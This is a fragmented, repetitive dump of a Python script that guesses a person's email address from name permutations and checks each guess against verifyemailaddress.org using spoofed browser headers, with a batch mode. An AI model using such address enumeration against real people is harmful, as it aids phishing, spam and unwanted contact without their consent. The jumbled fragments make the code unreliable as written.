"self.create_request(\"help@{0}\".format(domain)) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") domain_invalid = EmailVerifier.CONNECTING_TO_DOMAIN.format( domain) in html",
"if domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)) return False else: return True # Returns a boolean",
"Permutator(elems) # Order of lengths is 2, 3, 1 # to match most",
"l, m, size, verbose = False): verifier = EmailVerifier() for template in email_templates[size]:",
"domain domain_flag = False for tld in TLD: if domain.endswith(tld): domain_flag = True",
".com if no tld is # present in domain. TLD = [\".com\", \".org\",",
"self.elems[0]: yield [elem] return for c in self.make_combs(size, l - 1): yield c",
"observations for leng in (2, 3, 1): for perm in p_gen.generate(leng): first =",
"a name and a domain.') parser.add_argument('--batch', dest='batch', default = False, action='store_true', help =",
"if verif: print(COLOR_GREEN + \".\" + COLOR_RESET, end = '', flush = True)",
"verbose = False): verifier = EmailVerifier() for template in email_templates[size]: user = template.format(f",
"actually have this as a valid one RANDOM_EMAIL = \"prhzdge.yrtheu\" # Find the",
"given a name and a domain.') parser.add_argument('--batch', dest='batch', default = False, action='store_true', help",
"= domain)): raise ValueError(\"Domain seems to accept all email addresses.\") elif args.verbose: print(\"Domain",
"domain): req = self.create_request(\"help@{0}\".format(domain)) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") domain_invalid = EmailVerifier.CONNECTING_TO_DOMAIN.format(",
"most to least specific eg first.last@ before f.last@ before first@ \"\"\" def __init__(self,",
"= domain) if verbose: print(\"Checking `\" + try_addr + \"`...\", end = '',",
"description='Find email address given a name and a domain.') parser.add_argument('--batch', dest='batch', default =",
"RANDOM_EMAIL = \"prhzdge.yrtheu\" # Find the email address, given the below parameters #",
"template.format(f = f, l = l, m = m) if len(user) < 3:",
"Automatically append .com if no tld is # present in domain. TLD =",
"], 3: [ \"{f}{m}{l}\", \"{f}{m}.{l}\", \"{f}.{m}{l}\", \"{f}.{m}.{l}\" ], 1: [ \"{f}\" ] }",
"[] p_gen = Permutator(elems) # Order of lengths is 2, 3, 1 #",
"if len(perm) > 2 else None email = verify_for_size(first, last, middle, leng, args.verbose)",
"> 2: first, middle, last = name_parts[0], name_parts[1].lower(), name_parts[2] else: first, last =",
"True break if not domain_flag: return domain + TLD[0] else: return domain #",
"m = m) if len(user) < 3: continue try_addr = EMAIL_FORMAT.format(user = user,",
"\"https://google.com/\" def check_connectivity(): print(\"Checking connection...\") try: request.urlopen(google_url) return True except urllib.error.URLError: return False",
"= EmailVerifier() for template in email_templates[size]: user = template.format(f = f, l =",
"= input(\"Name({first} {last}): \") if name == \"\": break domain = correct_for_tld(input(\"Domain: \"))",
"j = r - i yield perm[:j] + [elems[r]] + perm[j:] return #",
"verify_for_size(first, last, middle, leng, args.verbose) if email: email_list.append(email) if not args.find_all: return email_list",
"self.elems = elems # Make actual permutations of elems def make_perms(self, elems, r):",
"\")) input_list.append((domain, name.split())) prev_domain = \"\" for domain, name_parts in input_list: if len(name_parts)",
"else: print(\"Not Found\") prev_domain = domain except ValueError as e: print(\"Error: \" +",
"True # Returns a boolean value def verify(self, email_addr, super_verbose = False): req",
"for l in range(loops): name = input(\"Name({first} {last}): \") if name == \"\":",
"self.make_combs(size, len(self.elems) - 1): for perm in self.make_perms(comb, len(comb) - 1): yield perm",
"= \"\\033[0;32m\" COLOR_RED = \"\\033[1;31m\" COLOR_RESET = \"\\033[0;0m\" def verify_for_size(f, l, m, size,",
"lengths is 2, 3, 1 # to match most common observations for leng",
"(size > l + 1): return if size == 0: yield [] return",
"name.split())) prev_domain = \"\" for domain, name_parts in input_list: if len(name_parts) > 2:",
"perm[j:] return # Make permuatations of size from def make_combs(self, size, l): if",
"(first, last), (last, first), (f, last) The elems is produced and Permutator is",
"return if size == 0: yield [] return if l == 0: for",
"perm in self.make_perms(elems, r - 1): for i in range(r + 1): j",
"1 # to match most common observations for leng in (2, 3, 1):",
"one RANDOM_EMAIL = \"prhzdge.yrtheu\" # Find the email address, given the below parameters",
"email_list # Automatically append .com if no tld is # present in domain.",
"return (False if re_res else True) # if super_verbose: # print(re_res) # Possible",
"in self.make_combs(size - 1, l - 1): c.append(elem) yield c # Generate all",
"False, action='store_true', help = \"Verbose mode\") parser.add_argument('--all', dest='find_all', default = False, action='store_true', help",
"True) verif = verifier.verify(try_addr) if verif: print(COLOR_GREEN + \".\" + COLOR_RESET, end =",
"# Possible templates for different sizes # All the possible combinations are covered",
"size, l): if (size > l + 1): return if size == 0:",
"user, domain = domain) if verbose: print(\"Checking `\" + try_addr + \"`...\", end",
"True) # if super_verbose: # print(re_res) # Possible templates for different sizes #",
"\"\"\" def __init__(self, elems): self.elems = elems # Make actual permutations of elems",
"= None, [] p_gen = Permutator(elems) # Order of lengths is 2, 3,",
"produced and Permutator is called in a way such that the emails are",
"to form an email. For example, (first, last), (last, first), (f, last) The",
"is produced and Permutator is called in a way such that the emails",
"connectivity, using Google # the standard connection tester :) google_url = \"https://google.com/\" def",
"middle[0])) email, email_list = None, [] p_gen = Permutator(elems) # Order of lengths",
"[elems[0]] return for perm in self.make_perms(elems, r - 1): for i in range(r",
"# Returns a boolean value def verify(self, email_addr, super_verbose = False): req =",
"first.last@ before f.last@ before first@ \"\"\" def __init__(self, elems): self.elems = elems #",
"if __name__ == \"__main__\": if not check_connectivity(): print(\"Can't connect to internet, exiting.\") sys.exit(1)",
"> 1 else None middle = perm[2] if len(perm) > 2 else None",
"print(html) re_res = EmailVerifier.INVALID_SEARCH_STRING in html return (False if re_res else True) #",
"three words to form an email. For example, (first, last), (last, first), (f,",
"to least specific eg first.last@ before f.last@ before first@ \"\"\" def __init__(self, elems):",
"yield perm return COLOR_GREEN = \"\\033[0;32m\" COLOR_RED = \"\\033[1;31m\" COLOR_RESET = \"\\033[0;0m\" def",
"email_list.append(email) if not args.find_all: return email_list # Not found, probably works for Amazon",
"if len(user) < 3: continue try_addr = EMAIL_FORMAT.format(user = user, domain = domain)",
"action='store_true', help = \"Verbose mode\") parser.add_argument('--all', dest='find_all', default = False, action='store_true', help =",
"\"\\033[0;32m\" COLOR_RED = \"\\033[1;31m\" COLOR_RESET = \"\\033[0;0m\" def verify_for_size(f, l, m, size, verbose",
"resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") if super_verbose: print(html) re_res = EmailVerifier.INVALID_SEARCH_STRING in",
"Order of lengths is 2, 3, 1 # to match most common observations",
"given the below parameters # Permutates over the possible combinations of first and",
"for leng in (2, 3, 1): for perm in p_gen.generate(leng): first = perm[0]",
"elems def make_perms(self, elems, r): if r == 0: yield [elems[0]] return for",
"perm[2] if len(perm) > 2 else None email = verify_for_size(first, last, middle, leng,",
"1): for i in range(r + 1): j = r - i yield",
") return req def check_domain(self, domain): req = self.create_request(\"help@{0}\".format(domain)) resp = request.urlopen(req) html",
"for c in self.make_combs(size, l - 1): yield c for elem in self.elems[l]:",
"\"`...\", end = '', flush = True) verif = verifier.verify(try_addr) if verif: print(COLOR_GREEN",
"def check_domain(self, domain): req = self.create_request(\"help@{0}\".format(domain)) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") domain_invalid",
"find_email(first, middle, last, domain, args): if not EmailVerifier().check_domain(domain): raise ValueError(\"Invalid domain name for",
"= perm[2] if len(perm) > 2 else None email = verify_for_size(first, last, middle,",
"domain) if verbose: print(\"Checking `\" + try_addr + \"`...\", end = '', flush",
"= \"Find all possible addresses instead \\ of stopping at the first successful\")",
"flush = True) if verbose: print(\" \") return None # Sufficiently random email",
"3, 1): for perm in p_gen.generate(leng): first = perm[0] last = perm[1] if",
"[] for l in range(loops): name = input(\"Name({first} {last}): \") if name ==",
"address, given the below parameters # Permutates over the possible combinations of first",
"\"\\033[0;0m\" def verify_for_size(f, l, m, size, verbose = False): verifier = EmailVerifier() for",
"the first successful\") if __name__ == \"__main__\": if not check_connectivity(): print(\"Can't connect to",
"self.create_request(email_addr) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") if super_verbose: print(html) re_res = EmailVerifier.INVALID_SEARCH_STRING",
"Generate all P(n, r) permutations of r = size def generate(self, size): for",
"return for c in self.make_combs(size, l - 1): yield c for elem in",
"end = '', flush = True) if verbose: print(\" \") return None #",
"__name__ == \"__main__\": if not check_connectivity(): print(\"Can't connect to internet, exiting.\") sys.exit(1) else:",
"super_verbose = False): req = self.create_request(email_addr) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") if",
"c.append(elem) yield c # Generate all P(n, r) permutations of r = size",
"enc_data, headers = headers ) return req def check_domain(self, domain): req = self.create_request(\"help@{0}\".format(domain))",
"email_list = None, [] p_gen = Permutator(elems) # Order of lengths is 2,",
"in email_templates[size]: user = template.format(f = f, l = l, m = m)",
"\".org\", \".net\"] def correct_for_tld(domain): if domain == \"\": return domain domain_flag = False",
"and lastname # including .(period), eg. first.last@ and then checks # each email.",
"yield [elem] return for c in self.make_combs(size, l - 1): yield c for",
"range(r + 1): j = r - i yield perm[:j] + [elems[r]] +",
"perm in p_gen.generate(leng): first = perm[0] last = perm[1] if len(perm) > 1",
"= verify_for_size(first, last, middle, leng, args.verbose) if email: email_list.append(email) if not args.find_all: return",
"a boolean value def verify(self, email_addr, super_verbose = False): req = self.create_request(email_addr) resp",
"for Amazon :D return email_list # Automatically append .com if no tld is",
"0: for elem in self.elems[0]: yield [elem] return for c in self.make_combs(size, l",
"below parameters # Permutates over the possible combinations of first and lastname #",
"return True except urllib.error.URLError: return False parser = argparse.ArgumentParser( description='Find email address given",
"email. For example, (first, last), (last, first), (f, last) The elems is produced",
"actual permutations of elems def make_perms(self, elems, r): if r == 0: yield",
"if super_verbose: print(html) re_res = EmailVerifier.INVALID_SEARCH_STRING in html return (False if re_res else",
"domain + TLD[0] else: return domain # Check internet connectivity, using Google #",
"[\".com\", \".org\", \".net\"] def correct_for_tld(domain): if domain == \"\": return domain domain_flag =",
"\"is not valid\" CONNECTING_TO_DOMAIN = \"Connecting to {0} failed\" def create_request(self, email_addr): post_form",
"2: [ \"{f}.{l}\", \"{f}{l}\", ], 3: [ \"{f}{m}{l}\", \"{f}{m}.{l}\", \"{f}.{m}{l}\", \"{f}.{m}.{l}\" ], 1:",
"of size from def make_combs(self, size, l): if (size > l + 1):",
"append .com if no tld is # present in domain. TLD = [\".com\",",
"len(self.elems) - 1): for perm in self.make_perms(comb, len(comb) - 1): yield perm return",
"combination of two and three words to form an email. For example, (first,",
"self.make_combs(size - 1, l - 1): c.append(elem) yield c # Generate all P(n,",
"{ 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko)",
"parser = argparse.ArgumentParser( description='Find email address given a name and a domain.') parser.add_argument('--batch',",
"= parse.urlencode(post_form).encode() req = request.Request( EmailVerifier.SITE_URL, data = enc_data, headers = headers )",
"name = input(\"Name({first} {last}): \") if name == \"\": break domain = correct_for_tld(input(\"Domain:",
"1: [ \"{f}\" ] } EMAIL_FORMAT = \"{user}@{domain}\" class Permutator: \"\"\" Generate all",
"1): for perm in p_gen.generate(leng): first = perm[0] last = perm[1] if len(perm)",
"print(\"Checking `\" + try_addr + \"`...\", end = '', flush = True) verif",
"# Not found, probably works for Amazon :D return email_list # Automatically append",
"TLD[0] else: return domain # Check internet connectivity, using Google # the standard",
"i in range(r + 1): j = r - i yield perm[:j] +",
"urllib from urllib import request, parse import re import os, sys import time",
"m) if len(user) < 3: continue try_addr = EMAIL_FORMAT.format(user = user, domain =",
"# Find the email address, given the below parameters # Permutates over the",
"in range(r + 1): j = r - i yield perm[:j] + [elems[r]]",
"Chrome/35.0.1916.47 Safari/537.36', 'Referer': 'http://www.verifyemailaddress.org', 'Origin': 'http://www.verifyemailaddress.org/', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } class EmailVerifier:",
"class Permutator: \"\"\" Generate all possible combination of two and three words to",
"req = self.create_request(\"help@{0}\".format(domain)) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") domain_invalid = EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)",
"domain, name_parts in input_list: if len(name_parts) > 2: first, middle, last = name_parts[0],",
"verbose: print(\"Checking `\" + try_addr + \"`...\", end = '', flush = True)",
"verbose: print(\" \") return None # Sufficiently random email that nobody should #",
"self.make_combs(size, l - 1): yield c for elem in self.elems[l]: for c in",
"\\ of stopping at the first successful\") if __name__ == \"__main__\": if not",
"template in email_templates[size]: user = template.format(f = f, l = l, m =",
"# present in domain. TLD = [\".com\", \".org\", \".net\"] def correct_for_tld(domain): if domain",
"return COLOR_GREEN = \"\\033[0;32m\" COLOR_RED = \"\\033[1;31m\" COLOR_RESET = \"\\033[0;0m\" def verify_for_size(f, l,",
"(KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Referer': 'http://www.verifyemailaddress.org', 'Origin': 'http://www.verifyemailaddress.org/', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',",
"are always produced most to least specific eg first.last@ before f.last@ before first@",
"middle = perm[2] if len(perm) > 2 else None email = verify_for_size(first, last,",
"for perm in self.make_perms(comb, len(comb) - 1): yield perm return COLOR_GREEN = \"\\033[0;32m\"",
"prev_domain = \"\" for domain, name_parts in input_list: if len(name_parts) > 2: first,",
"1): yield perm return COLOR_GREEN = \"\\033[0;32m\" COLOR_RED = \"\\033[1;31m\" COLOR_RESET = \"\\033[0;0m\"",
"10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Referer': 'http://www.verifyemailaddress.org', 'Origin': 'http://www.verifyemailaddress.org/', 'Content-Type': 'application/x-www-form-urlencoded',",
"The elems is produced and Permutator is called in a way such that",
"mode, process multiple requests\") parser.add_argument('-v', dest='verbose', default = False, action='store_true', help = \"Verbose",
"{ \"email\": email_addr } enc_data = parse.urlencode(post_form).encode() req = request.Request( EmailVerifier.SITE_URL, data =",
"- 1): c.append(elem) yield c # Generate all P(n, r) permutations of r",
"Found\") prev_domain = domain except ValueError as e: print(\"Error: \" + str(e)) sys.exit(1)",
"= False for tld in TLD: if domain.endswith(tld): domain_flag = True break if",
"def verify_for_size(f, l, m, size, verbose = False): verifier = EmailVerifier() for template",
"default = False, action='store_true', help = \"Verbose mode\") parser.add_argument('--all', dest='find_all', default = False,",
"Not found, probably works for Amazon :D return email_list # Automatically append .com",
"action='store_true', help = \"Find all possible addresses instead \\ of stopping at the",
"else True) # if super_verbose: # print(re_res) # Possible templates for different sizes",
"\"prhzdge.yrtheu\" # Find the email address, given the below parameters # Permutates over",
"> l + 1): return if size == 0: yield [] return if",
"last.lower(), domain, args) print() if len(email_list) > 0: print(\"Valid Emails: \", email_list) else:",
"# print(re_res) # Possible templates for different sizes # All the possible combinations",
"= { 2: [ \"{f}.{l}\", \"{f}{l}\", ], 3: [ \"{f}{m}{l}\", \"{f}{m}.{l}\", \"{f}.{m}{l}\", \"{f}.{m}.{l}\"",
"= user, domain = domain) if verbose: print(\"Checking `\" + try_addr + \"`...\",",
"= { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like",
"process multiple requests\") parser.add_argument('-v', dest='verbose', default = False, action='store_true', help = \"Verbose mode\")",
"for perm in p_gen.generate(leng): first = perm[0] last = perm[1] if len(perm) >",
"False parser = argparse.ArgumentParser( description='Find email address given a name and a domain.')",
"parser.add_argument('--batch', dest='batch', default = False, action='store_true', help = \"Batch mode, process multiple requests\")",
"the emails are always produced most to least specific eg first.last@ before f.last@",
"= RANDOM_EMAIL, domain = domain)): raise ValueError(\"Domain seems to accept all email addresses.\")",
"probably works for Amazon :D return email_list # Automatically append .com if no",
"perm[:j] + [elems[r]] + perm[j:] return # Make permuatations of size from def",
"name_parts; middle = None if domain == \"\": domain = prev_domain try: email_list",
"if domain.endswith(tld): domain_flag = True break if not domain_flag: return domain + TLD[0]",
"headers ) return req def check_domain(self, domain): req = self.create_request(\"help@{0}\".format(domain)) resp = request.urlopen(req)",
"= name_parts[0], name_parts[1].lower(), name_parts[2] else: first, last = name_parts; middle = None if",
"words to form an email. For example, (first, last), (last, first), (f, last)",
"different sizes # All the possible combinations are covered by # this and",
"first and lastname # including .(period), eg. first.last@ and then checks # each",
"+ \"`...\", end = '', flush = True) verif = verifier.verify(try_addr) if verif:",
"example, (first, last), (last, first), (f, last) The elems is produced and Permutator",
"templates for different sizes # All the possible combinations are covered by #",
"= \"\\033[0;0m\" def verify_for_size(f, l, m, size, verbose = False): verifier = EmailVerifier()",
"== 0: yield [] return if l == 0: for elem in self.elems[0]:",
"middle, last = name_parts[0], name_parts[1].lower(), name_parts[2] else: first, last = name_parts; middle =",
"for perm in self.make_perms(elems, r - 1): for i in range(r + 1):",
"if not args.find_all: return email_list # Not found, probably works for Amazon :D",
"domain)) return False else: return True # Returns a boolean value def verify(self,",
"of the Permutator email_templates = { 2: [ \"{f}.{l}\", \"{f}{l}\", ], 3: [",
"else: print(COLOR_RED + \".\" + COLOR_RESET, end = '', flush = True) if",
"elif args.verbose: print(\"Domain checks successful\") # Can use either from each of elems",
"perm[1] if len(perm) > 1 else None middle = perm[2] if len(perm) >",
"else: return domain # Check internet connectivity, using Google # the standard connection",
"m, size, verbose = False): verifier = EmailVerifier() for template in email_templates[size]: user",
"a way such that the emails are always produced most to least specific",
"= template.format(f = f, l = l, m = m) if len(user) <",
"dest='batch', default = False, action='store_true', help = \"Batch mode, process multiple requests\") parser.add_argument('-v',",
"request.urlopen(req) html = resp.read().decode(\"utf-8\") if super_verbose: print(html) re_res = EmailVerifier.INVALID_SEARCH_STRING in html return",
"is 2, 3, 1 # to match most common observations for leng in",
"and Permutator is called in a way such that the emails are always",
"for tld in TLD: if domain.endswith(tld): domain_flag = True break if not domain_flag:",
"domain_flag: return domain + TLD[0] else: return domain # Check internet connectivity, using",
"> 2 else None email = verify_for_size(first, last, middle, leng, args.verbose) if email:",
"\"{f}.{l}\", \"{f}{l}\", ], 3: [ \"{f}{m}{l}\", \"{f}{m}.{l}\", \"{f}.{m}{l}\", \"{f}.{m}.{l}\" ], 1: [ \"{f}\"",
"from each of elems elems = [ (first, first[0]), (last, last[0]) ] if",
"domain)): raise ValueError(\"Domain seems to accept all email addresses.\") elif args.verbose: print(\"Domain checks",
"r == 0: yield [elems[0]] return for perm in self.make_perms(elems, r - 1):",
"the Permutator email_templates = { 2: [ \"{f}.{l}\", \"{f}{l}\", ], 3: [ \"{f}{m}{l}\",",
"1 else None middle = perm[2] if len(perm) > 2 else None email",
"possible combination of two and three words to form an email. For example,",
"EmailVerifier: SITE_URL = 'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING = \"is not valid\" CONNECTING_TO_DOMAIN = \"Connecting to",
"= \"{user}@{domain}\" class Permutator: \"\"\" Generate all possible combination of two and three",
"should # actually have this as a valid one RANDOM_EMAIL = \"prhzdge.yrtheu\" #",
"tld is # present in domain. TLD = [\".com\", \".org\", \".net\"] def correct_for_tld(domain):",
"# Permutates over the possible combinations of first and lastname # including .(period),",
"tester :) google_url = \"https://google.com/\" def check_connectivity(): print(\"Checking connection...\") try: request.urlopen(google_url) return True",
"import re import os, sys import time import argparse # Request headers headers",
"else: return True # Returns a boolean value def verify(self, email_addr, super_verbose =",
"c for elem in self.elems[l]: for c in self.make_combs(size - 1, l -",
"args.find_all: return email_list # Not found, probably works for Amazon :D return email_list",
"no tld is # present in domain. TLD = [\".com\", \".org\", \".net\"] def",
"first successful\") if __name__ == \"__main__\": if not check_connectivity(): print(\"Can't connect to internet,",
"domain_flag = False for tld in TLD: if domain.endswith(tld): domain_flag = True break",
"for elem in self.elems[l]: for c in self.make_combs(size - 1, l - 1):",
"import time import argparse # Request headers headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh;",
"check_connectivity(): print(\"Can't connect to internet, exiting.\") sys.exit(1) else: print(\"Connectivity okay.\") args = parser.parse_args()",
"Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Referer': 'http://www.verifyemailaddress.org', 'Origin':",
"parser.add_argument('-v', dest='verbose', default = False, action='store_true', help = \"Verbose mode\") parser.add_argument('--all', dest='find_all', default",
"= 'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING = \"is not valid\" CONNECTING_TO_DOMAIN = \"Connecting to {0} failed\"",
"\"{f}\" ] } EMAIL_FORMAT = \"{user}@{domain}\" class Permutator: \"\"\" Generate all possible combination",
"last = perm[1] if len(perm) > 1 else None middle = perm[2] if",
"= \"prhzdge.yrtheu\" # Find the email address, given the below parameters # Permutates",
"'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36',",
"- i yield perm[:j] + [elems[r]] + perm[j:] return # Make permuatations of",
"Permutator email_templates = { 2: [ \"{f}.{l}\", \"{f}{l}\", ], 3: [ \"{f}{m}{l}\", \"{f}{m}.{l}\",",
"input_list: if len(name_parts) > 2: first, middle, last = name_parts[0], name_parts[1].lower(), name_parts[2] else:",
"+ COLOR_RESET, end = '', flush = True) if verbose: print(\" \") return",
"domain.endswith(tld): domain_flag = True break if not domain_flag: return domain + TLD[0] else:",
"verif = verifier.verify(try_addr) if verif: print(COLOR_GREEN + \".\" + COLOR_RESET, end = '',",
"= True) if verbose: print(\" \") return None # Sufficiently random email that",
"# Request headers headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X",
"- 1): for perm in self.make_perms(comb, len(comb) - 1): yield perm return COLOR_GREEN",
"addresses.\") elif args.verbose: print(\"Domain checks successful\") # Can use either from each of",
"== \"\": break domain = correct_for_tld(input(\"Domain: \")) input_list.append((domain, name.split())) prev_domain = \"\" for",
"leng, args.verbose) if email: email_list.append(email) if not args.find_all: return email_list # Not found,",
"class EmailVerifier: SITE_URL = 'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING = \"is not valid\" CONNECTING_TO_DOMAIN = \"Connecting",
"if verbose: print(\"Checking `\" + try_addr + \"`...\", end = '', flush =",
"True) if verbose: print(\" \") return None # Sufficiently random email that nobody",
"domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)) return False else: return True # Returns a boolean value",
"perm[0] last = perm[1] if len(perm) > 1 else None middle = perm[2]",
"Generate all possible combination of two and three words to form an email.",
"email_list # Not found, probably works for Amazon :D return email_list # Automatically",
"args = parser.parse_args() loops = 1000 if args.batch else 1 input_list = []",
"as a valid one RANDOM_EMAIL = \"prhzdge.yrtheu\" # Find the email address, given",
"not args.find_all: return email_list # Not found, probably works for Amazon :D return",
"common observations for leng in (2, 3, 1): for perm in p_gen.generate(leng): first",
"parser.add_argument('--all', dest='find_all', default = False, action='store_true', help = \"Find all possible addresses instead",
"size from def make_combs(self, size, l): if (size > l + 1): return",
"yield [] return if l == 0: for elem in self.elems[0]: yield [elem]",
"# Make permuatations of size from def make_combs(self, size, l): if (size >",
"size == 0: yield [] return if l == 0: for elem in",
"] if middle: elems.append((middle, middle[0])) email, email_list = None, [] p_gen = Permutator(elems)",
"# Check internet connectivity, using Google # the standard connection tester :) google_url",
"Check internet connectivity, using Google # the standard connection tester :) google_url =",
"return # Make permuatations of size from def make_combs(self, size, l): if (size",
"in p_gen.generate(leng): first = perm[0] last = perm[1] if len(perm) > 1 else",
"= False, action='store_true', help = \"Verbose mode\") parser.add_argument('--all', dest='find_all', default = False, action='store_true',",
"l = l, m = m) if len(user) < 3: continue try_addr =",
"2: first, middle, last = name_parts[0], name_parts[1].lower(), name_parts[2] else: first, last = name_parts;",
"data = enc_data, headers = headers ) return req def check_domain(self, domain): req",
"# including .(period), eg. first.last@ and then checks # each email. def find_email(first,",
"= verifier.verify(try_addr) if verif: print(COLOR_GREEN + \".\" + COLOR_RESET, end = '', flush",
"verifier = EmailVerifier() for template in email_templates[size]: user = template.format(f = f, l",
"None # Sufficiently random email that nobody should # actually have this as",
"TLD: if domain.endswith(tld): domain_flag = True break if not domain_flag: return domain +",
"of stopping at the first successful\") if __name__ == \"__main__\": if not check_connectivity():",
"two and three words to form an email. For example, (first, last), (last,",
"range(loops): name = input(\"Name({first} {last}): \") if name == \"\": break domain =",
"in html if domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)) return False else: return True # Returns",
"= Permutator(elems) # Order of lengths is 2, 3, 1 # to match",
"domain # Check internet connectivity, using Google # the standard connection tester :)",
"of two and three words to form an email. For example, (first, last),",
"if verbose: print(\" \") return None # Sufficiently random email that nobody should",
"= \"Connecting to {0} failed\" def create_request(self, email_addr): post_form = { \"email\": email_addr",
"l + 1): return if size == 0: yield [] return if l",
"perm return COLOR_GREEN = \"\\033[0;32m\" COLOR_RED = \"\\033[1;31m\" COLOR_RESET = \"\\033[0;0m\" def verify_for_size(f,",
"Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Referer': 'http://www.verifyemailaddress.org', 'Origin': 'http://www.verifyemailaddress.org/', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } class",
"return email_list # Not found, probably works for Amazon :D return email_list #",
"make_perms(self, elems, r): if r == 0: yield [elems[0]] return for perm in",
"re_res else True) # if super_verbose: # print(re_res) # Possible templates for different",
"[ \"{f}\" ] } EMAIL_FORMAT = \"{user}@{domain}\" class Permutator: \"\"\" Generate all possible",
"= request.urlopen(req) html = resp.read().decode(\"utf-8\") domain_invalid = EmailVerifier.CONNECTING_TO_DOMAIN.format( domain) in html if domain_invalid:",
"l - 1): yield c for elem in self.elems[l]: for c in self.make_combs(size",
"for different sizes # All the possible combinations are covered by # this",
"elem in self.elems[l]: for c in self.make_combs(size - 1, l - 1): c.append(elem)",
"raise ValueError(\"Invalid domain name for email server.\") elif EmailVerifier().verify(EMAIL_FORMAT.format(user = RANDOM_EMAIL, domain =",
"email_list) else: print(\"Not Found\") prev_domain = domain except ValueError as e: print(\"Error: \"",
"os, sys import time import argparse # Request headers headers = { 'User-Agent':",
"help = \"Find all possible addresses instead \\ of stopping at the first",
"\"{f}{m}.{l}\", \"{f}.{m}{l}\", \"{f}.{m}.{l}\" ], 1: [ \"{f}\" ] } EMAIL_FORMAT = \"{user}@{domain}\" class",
"sizes # All the possible combinations are covered by # this and the",
"None, [] p_gen = Permutator(elems) # Order of lengths is 2, 3, 1",
"input_list.append((domain, name.split())) prev_domain = \"\" for domain, name_parts in input_list: if len(name_parts) >",
"in TLD: if domain.endswith(tld): domain_flag = True break if not domain_flag: return domain",
"l == 0: for elem in self.elems[0]: yield [elem] return for c in",
"specific eg first.last@ before f.last@ before first@ \"\"\" def __init__(self, elems): self.elems =",
"successful\") if __name__ == \"__main__\": if not check_connectivity(): print(\"Can't connect to internet, exiting.\")",
"import urllib from urllib import request, parse import re import os, sys import",
"form an email. For example, (first, last), (last, first), (f, last) The elems",
"input_list = [] for l in range(loops): name = input(\"Name({first} {last}): \") if",
"domain_flag = True break if not domain_flag: return domain + TLD[0] else: return",
"all P(n, r) permutations of r = size def generate(self, size): for comb",
"action='store_true', help = \"Batch mode, process multiple requests\") parser.add_argument('-v', dest='verbose', default = False,",
"COLOR_RESET, end = '', flush = True) if verbose: print(\" \") return None",
"\"Find all possible addresses instead \\ of stopping at the first successful\") if",
"import request, parse import re import os, sys import time import argparse #",
"last, domain, args): if not EmailVerifier().check_domain(domain): raise ValueError(\"Invalid domain name for email server.\")",
"and then checks # each email. def find_email(first, middle, last, domain, args): if",
"\"Verbose mode\") parser.add_argument('--all', dest='find_all', default = False, action='store_true', help = \"Find all possible",
"dest='find_all', default = False, action='store_true', help = \"Find all possible addresses instead \\",
"domain, args): if not EmailVerifier().check_domain(domain): raise ValueError(\"Invalid domain name for email server.\") elif",
"= EMAIL_FORMAT.format(user = user, domain = domain) if verbose: print(\"Checking `\" + try_addr",
"eg first.last@ before f.last@ before first@ \"\"\" def __init__(self, elems): self.elems = elems",
"args.batch else 1 input_list = [] for l in range(loops): name = input(\"Name({first}",
"headers headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36",
"0: yield [] return if l == 0: for elem in self.elems[0]: yield",
"combinations of first and lastname # including .(period), eg. first.last@ and then checks",
"request, parse import re import os, sys import time import argparse # Request",
"name == \"\": break domain = correct_for_tld(input(\"Domain: \")) input_list.append((domain, name.split())) prev_domain = \"\"",
"seems to accept all email addresses.\") elif args.verbose: print(\"Domain checks successful\") # Can",
"email addresses.\") elif args.verbose: print(\"Domain checks successful\") # Can use either from each",
"INVALID_SEARCH_STRING = \"is not valid\" CONNECTING_TO_DOMAIN = \"Connecting to {0} failed\" def create_request(self,",
"elems elems = [ (first, first[0]), (last, last[0]) ] if middle: elems.append((middle, middle[0]))",
"time import argparse # Request headers headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel",
"= perm[1] if len(perm) > 1 else None middle = perm[2] if len(perm)",
"email = verify_for_size(first, last, middle, leng, args.verbose) if email: email_list.append(email) if not args.find_all:",
"first, last = name_parts; middle = None if domain == \"\": domain =",
"in input_list: if len(name_parts) > 2: first, middle, last = name_parts[0], name_parts[1].lower(), name_parts[2]",
"checks successful\") # Can use either from each of elems elems = [",
"== 0: yield [elems[0]] return for perm in self.make_perms(elems, r - 1): for",
"parameters # Permutates over the possible combinations of first and lastname # including",
"first.last@ and then checks # each email. def find_email(first, middle, last, domain, args):",
